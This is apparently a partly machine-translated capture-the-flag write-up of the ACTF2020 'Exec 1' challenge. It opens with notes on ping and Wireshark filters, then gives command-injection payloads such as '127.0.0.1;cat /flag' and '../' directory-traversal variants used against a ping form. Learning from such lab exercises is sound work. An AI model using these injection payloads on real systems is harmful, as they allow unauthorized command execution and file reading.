[ACTF2020 Freshman Competition]Exec 1

ping命令

如何在cmd里面ping命令
指令：racert 网址
pinga website and ping -t A URL comes out of the difference,The former is only displayed4组数据.
ipconfig /allDisplay your computer configuration

WiresharkA little bit of use,查找时（过滤）
ping时:ip.addr ==网址 and icmp
directly on the web page:

http and ip.addr == 网址
ip.addr ==网址 and tcp

27个常用的 Linux 命令！ls会列举出当前工作目录的内容（文件或文件夹）

[ACTF2020 新生赛]Exec 1

养成习惯！Just grab a bag！This question does not use tools,whole principle！

127.0.0.1;ls

127.0.0.1;ls /,列出根目录下的文件

127.0.0.1;cat /flag,cat进行读取

or available from below127.0.0.1;cat ../../../flag

是看wp的,Sort out the knowledge points

1.127.0.0.1;cat index.php,Find the information inside

isset ()A function is used to determine if a variable is set and not null;换句话说,only if the variable is notnull时才返回true.

2.目录遍历

简单了解一下目录遍历！
127.0.0.1;ls ../
127.0.0.1;ls ../../

127.0.0.1;ls ../../../和127.0.0.1;ls ../../../../效果一样,So in general as long as there are enough sets！

命令注入

Just to find out this time命令注入符号！

Excerpt from the previous link！
可参考文章：https://blog.csdn.net/m0_47745762/article/details/118932465?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165848802716782248535320%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=165848802716782248535320&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2_allsobaiduend~default-1-118932465-null-null.142^v33experiment_2_v1,185^v2control&utm_term=actf2020%20%E6%96%B0%E7%94%9F%E8%B5%9B%5Dexec%2019&spm=1018.2226.3001.4187
及文章：https://blog.csdn.net/wangyuxiang946/article/details/120995294?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165848802716782248535320%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257D&request_id=165848802716782248535320&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2_allsobaiduend~default-2-120995294-null-null.142^v33experiment_2_v1,185^v2control&utm_term=actf2020%20%E6%96%B0%E7%94%9F%E8%B5%9B%5Dexec%2019&spm=1018.2226.3001.4187